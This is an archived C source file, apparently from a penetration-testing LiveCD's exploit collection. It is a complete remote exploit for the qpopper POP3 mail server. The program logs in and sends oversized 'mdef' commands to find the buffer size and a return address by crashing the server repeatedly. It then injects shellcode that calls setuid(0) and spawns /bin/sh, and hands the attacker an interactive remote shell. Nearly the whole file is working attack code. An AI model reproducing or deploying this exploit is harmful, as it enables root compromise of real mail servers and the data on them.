home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / qpopper / qex.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  7KB  |  338 lines

  1. #include <sys/socket.h>
  2. #include <sys/select.h>
  3. #include <netinet/in.h>
  4. #include <arpa/inet.h>
  5. #include <netdb.h>
  6. #include <stdio.h>
  7. #include <string.h>
  8. #include <stdlib.h>
  9. #include <unistd.h>
  10.  
  11. char shellcode[] =
  12.         "\x31\xc0"              /* xor %eax, %eax       */
  13.         "\x31\xdb"              /* xor %ebx, %ebx       */
  14.         "\xb0\x17"              /* mov $0x17, %al       */
  15.         "\xcd\x80"              /* int  $0x80           */
  16.         "\x31\xc0"              /* xor %eax, %eax       */
  17.         "\x50"                  /* push %eax            */
  18.         "\x68\x2f\x2f\x73\x68"  /* push $0x68732f2f     */
  19.         "\x68\x2f\x62\x69\x6e"  /* push $0x6e69622f     */
  20.         "\x89\xe3"              /* mov  %esp,%ebx       */
  21.         "\x50"                  /* push %eax            */
  22.         "\x53"                  /* push %ebx            */
  23.         "\x89\xe1"              /* mov  %esp,%ecx       */
  24.         "\x31\xd2"              /* xor  %edx,%edx       */
  25.         "\xb0\x08"              /* mov  $0x8,%al        */
  26.         "\x40\x40\x40"          /* inc  %eax  (3 times) */
  27.         "\xcd\x80";             /* int  $0x80           */
  28.  
  29. #define BUFLEN 1006
  30. #define RETLEN 148
  31. #define RETADDR 0xbfffc004
  32.  
  33. void
  34. shell_io (fd)
  35.   int fd;
  36. {
  37.    fd_set fs;
  38.    char buf[1000];
  39.    int len;
  40.    
  41.    while (1) 
  42.      {
  43.     FD_ZERO(&fs);
  44.     FD_SET(0, &fs);
  45.     FD_SET(fd, &fs);
  46.     select(fd+1, &fs, NULL, NULL, NULL);
  47.     if (FD_ISSET(0, &fs))
  48.       {
  49.          if ((len = read(0, buf, 1000)) <= 0)
  50.            break;
  51.          write(fd, buf, len);
  52.       }
  53.     else
  54.       {
  55.          if ((len = read(fd, buf, 1000)) <= 0)
  56.            break;
  57.          write(1, buf, len);
  58.       }
  59.      }
  60. }
  61.  
  62.    
  63.  
  64. void
  65. send_mdef (fd, buflen, retaddr, rashift)
  66.   int fd, buflen, rashift;
  67.   unsigned int retaddr;
  68. {
  69.    char buf[2000], *bp;
  70.    int i;
  71.  
  72.    memset(buf, 0x90, 2000);
  73.    memcpy(buf, "mdef ", 5);
  74.    memcpy(buf + buflen - RETLEN - strlen(shellcode),
  75.       shellcode, strlen(shellcode));
  76.    bp = (char *) (((unsigned int)(buf + buflen - RETLEN)) & 0xfffffffc);
  77.    for (i = 0; i < RETLEN; i += 4)
  78.      memcpy(bp+i+rashift, &retaddr, sizeof(int));
  79.    buf[buflen-2] = '(';
  80.    buf[buflen-1] = ')';
  81.    buf[buflen] = '\n';
  82.    write(fd, buf, buflen+1);
  83.    return;
  84. }
  85.  
  86. int get_pop_reply (int fd, char *buf, int buflen)
  87. {
  88.    int len;
  89.    fd_set s;
  90.    struct timeval tv;
  91.    
  92.    len = read (fd, buf, buflen);
  93.    FD_ZERO(&s);
  94.    FD_SET(fd, &s);
  95.    tv.tv_sec = tv.tv_usec = 0;
  96.    select(fd+1, &s, NULL, NULL, &tv);
  97.    if (FD_ISSET(fd, &s))
  98.      len = read (fd, buf, buflen);
  99.    
  100.    if (len == 0)
  101.      return 0;
  102.    else if (!strncmp(buf, "-ERR ", 5))
  103.      return -1;
  104.    else
  105.      return len;
  106. }
  107.  
  108. int
  109. open_pop(ip, user, pass)
  110.   unsigned int ip;
  111.   char *user, *pass;
  112. {
  113.    struct sockaddr_in peer;
  114.    int fd, st = 0;
  115.    char buf[1024];
  116.    int state = 0;
  117.  
  118.    peer.sin_family = AF_INET;
  119.    peer.sin_port = htons(110);
  120.    peer.sin_addr.s_addr = ip;
  121.    
  122.    fd = socket(AF_INET, SOCK_STREAM, 0);
  123.    if (fd < 0)
  124.      {
  125.     perror("socket");
  126.     exit(EXIT_FAILURE);
  127.      }
  128.    printf("Connecting to %s... ", inet_ntoa(peer.sin_addr));
  129.    fflush(stdout);
  130.    if (connect(fd, (struct sockaddr *)&peer, sizeof(struct sockaddr_in)) < 0) 
  131.      {
  132.     perror("connect");
  133.     exit(EXIT_FAILURE);
  134.      }
  135.    printf("Logging in... ");
  136.    fflush(stdout);
  137.    while ((state < 3) && ((st = read(fd, buf, 1024)) > 0))
  138.      {
  139.     if (!strncmp(buf, "+OK ", 4)) 
  140.       {
  141.          switch (state)
  142.            {
  143.         case 0:
  144.           snprintf(buf, 1024, "USER %s\n", user);
  145.           write(fd, buf, strlen(buf));
  146.           state++;
  147.           break;
  148.         case 1:
  149.           snprintf(buf, 1024, "PASS %s\n", pass);
  150.           write(fd, buf, strlen(buf));
  151.           state++;
  152.           break;
  153.         case 2:
  154.           state++;
  155.           break;
  156.            }
  157.       }
  158.     else if (!strncmp(buf, "-ERR ", 5))
  159.       {
  160.          fprintf(stderr, "Could not log in. Did you provide a valid "
  161.              "username/password-combination?\n");
  162.          break;
  163.       }
  164.     else
  165.       {
  166.          fprintf(stderr, "Invalid response from POP-Server:\n'%s'\n",
  167.              buf);
  168.          break;
  169.       }
  170.      }
  171.    if (state < 3) 
  172.      {
  173.     fprintf(stderr, "Exiting due to error...\n");
  174.     exit(EXIT_FAILURE);
  175.      }
  176.    else if (st < 0)
  177.      {
  178.     perror("read");
  179.     exit(EXIT_FAILURE);
  180.      }
  181.    else if (st == 0)
  182.      {
  183.     fprintf(stderr, "Peer closed...\n");
  184.     exit(EXIT_FAILURE);
  185.      }
  186.    return fd;
  187. }
  188.  
  189. int
  190. main (argc, argv)
  191.   int argc;
  192.   char *argv[];
  193. {
  194.    char *host, *user, *pass;
  195.    struct hostent *he;
  196.    struct in_addr in;
  197.    unsigned int ip, retaddr;
  198.    int fd = -1, lbs, bs, ubs, found = 0, st;
  199.    char buf[2000];
  200.    
  201.    if (4 != argc) 
  202.      {
  203.     fprintf(stderr, "Usage: %s <host> <user> <pass>\n\n", argv[0]);
  204.     exit(EXIT_FAILURE);
  205.      }
  206.    
  207.    host = argv[1];
  208.    user = argv[2];
  209.    pass = argv[3];
  210.    if (!inet_aton(host, &in))
  211.      {
  212.     if (!(he = gethostbyname(host))) 
  213.       {
  214.          herror("Resolving host");
  215.          exit(EXIT_FAILURE);
  216.       }
  217.     in.s_addr = *((unsigned int *)he->h_addr);
  218.      }
  219.    ip = in.s_addr;
  220.    
  221.    printf("Phase 1: Seeking buffer size\n");
  222.    lbs = 0;
  223.    bs = BUFLEN;
  224.    ubs = 2000;
  225.    while (!found && (bs != lbs) && (bs != ubs))
  226.      {
  227.     if (fd < 0)
  228.       fd = open_pop(ip, user, pass);
  229.     printf("Trying %d bytes... ", bs);
  230.     fflush(stdout);
  231.     send_mdef(fd, bs, 0x01010101, 0);
  232.     sleep(1);
  233.     switch ((st = get_pop_reply(fd, buf, 2000)))
  234.       {
  235.        case 0:
  236.          found++;
  237.          close(fd);
  238.          fd = -1;
  239.          break;
  240.        case -1:
  241.          printf("too long.\n");
  242.          ubs = bs;
  243.          bs = (lbs+ubs)/2;
  244.          break;
  245.        default:
  246.          if (st < bs) 
  247.            {
  248.           printf("(slightly) too long.\n");
  249.           ubs = bs;
  250.           bs = (lbs+ubs)/2;
  251.           break;
  252.            }
  253.          else
  254.            {
  255.           printf("too short.\n");
  256.           lbs = bs;
  257.           bs = (lbs+ubs)/2;
  258.           break;
  259.            }
  260.       }
  261.      }
  262.    if (!found) 
  263.      {
  264.     printf("Couldn't find correct buffersize...\n");
  265.     exit(EXIT_FAILURE);
  266.      }
  267.    printf("crash.\n");
  268.    while (found) 
  269.      {
  270.     bs--;
  271.     if (fd < 0)
  272.       fd = open_pop(ip, user, pass);
  273.     printf("Trying %d bytes... ", bs);
  274.     fflush(stdout);
  275.     send_mdef(fd, bs, 0x01010101, 0);
  276.     sleep(1);
  277.     if (get_pop_reply(fd, buf, 2000))
  278.       {
  279.          printf("no crash\n");
  280.          bs += 4;
  281.          bs = bs & 0xfffffffc;
  282.          found = 0;
  283.       }
  284.     else 
  285.       {
  286.          fd = -1;
  287.          printf("crash\n");
  288.       }
  289.      }         
  290.    printf("Optimal buffer size: %d\n\n", bs);
  291.    
  292.    
  293.    printf("Phase 2: Find return address\n");
  294.    found = 0;
  295.    retaddr = RETADDR;
  296.    while (!found) 
  297.      {
  298.     if (fd < 0)
  299.       fd = open_pop(ip, user, pass);
  300.     printf("Trying %x... ", retaddr);
  301.     fflush(stdout);
  302.     send_mdef(fd, bs, retaddr, 2);
  303.     sleep(1);
  304.     if (get_pop_reply(fd, buf, 2000))
  305.       {
  306.          printf("no crash\n");
  307.          found = 1;
  308.       }
  309.     else
  310.       {
  311.          fd = -1;
  312.          retaddr += ((bs - RETLEN - 10 - strlen(shellcode)) & 0xffffff00);
  313.          printf("crash\n");
  314.       }
  315.     if (retaddr > 0xbfffff00)
  316.       break;
  317.      }
  318.    if (!found) 
  319.      {
  320.     printf("Couldn't find a valid return address\n");
  321.     exit(EXIT_FAILURE);
  322.      }
  323.    write(fd, "uname -a\n", 9);
  324.    st = read(fd, buf, 100);
  325.    buf[st] = '\0';
  326.    if ((buf[0] != '-') && (buf[0] != '+'))
  327.      {
  328.     printf("We're in! (%s)\n", buf);
  329.     shell_io(fd);
  330.      }
  331.    else
  332.      printf("We failed...\n");
  333.    
  334.    exit(EXIT_FAILURE);
  335. }
  336.  
  337.  
  338.